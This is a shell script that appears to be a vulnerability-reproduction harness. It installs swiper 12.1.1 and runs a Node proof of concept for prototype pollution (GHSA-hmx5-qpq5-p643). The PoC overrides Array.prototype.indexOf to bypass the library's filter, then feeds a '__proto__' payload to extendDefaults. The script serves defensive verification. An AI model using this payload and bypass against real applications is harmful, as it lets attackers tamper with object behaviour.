#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

echo "========================================"
echo "GHSA-hmx5-qpq5-p643: Prototype pollution in swiper"
echo "========================================"

# Create test directory
TEMP_DIR="$ROOT/.temp_swiper_test"
mkdir -p "$TEMP_DIR"
cd "$TEMP_DIR"

# Initialize npm if needed
if [ ! -f "package.json" ]; then
    npm init -y 2>/dev/null || true
fi

# Install the vulnerable version (just before the fix in 12.1.2)
echo "Installing vulnerable version of swiper (12.1.1)..."
npm install swiper@12.1.1 --silent 2>&1 | tee "$LOGS/npm_install.log"

# Create the test script
cat > test_poc.js << 'EOF'
// Prototype pollution PoC for GHSA-hmx5-qpq5-p643
console.log("Testing prototype pollution in swiper...");

var swiper = require('swiper');

// Store original indexOf for cleanup
const originalIndexOf = Array.prototype.indexOf;

// Exploit: Override Array.prototype.indexOf to always return -1
// This bypasses the indexOf-based filter check
Array.prototype.indexOf = () => -1;

let obj = {};
var malicious_payload = '{"__proto__":{"polluted":"yes"}}';

console.log("Before exploit: {}.polluted =", {}.polluted);

try {
    swiper.default.extendDefaults(JSON.parse(malicious_payload));
} catch (e) {
    console.log("Error during extendDefaults:", e.message);
}

console.log("After exploit: {}.polluted =", {}.polluted);

// Restore original indexOf
Array.prototype.indexOf = originalIndexOf;

// Check if prototype was polluted
if ({}.polluted === "yes") {
    console.log("\n[VULNERABILITY CONFIRMED] Prototype pollution successful!");
    console.log("Object.prototype was polluted with 'polluted' property.");
    process.exit(0);
} else {
    console.log("\n[NOT VULNERABLE] Prototype pollution was prevented.");
    process.exit(1);
}
EOF

echo ""
echo "Running PoC test..."
node test_poc.js 2>&1 | tee "$LOGS/test_output.log"

TEST_RESULT=${PIPESTATUS[0]:-$?}

# Cleanup
cd "$ROOT"
rm -rf "$TEMP_DIR"

if [ $TEST_RESULT -eq 0 ]; then
    echo ""
    echo "========================================"
    echo "SUCCESS: Vulnerability confirmed!"
    echo "========================================"
    exit 0
else
    echo ""
    echo "========================================"
    echo "Vulnerability was NOT confirmed."
    echo "========================================"
    exit 1
fi
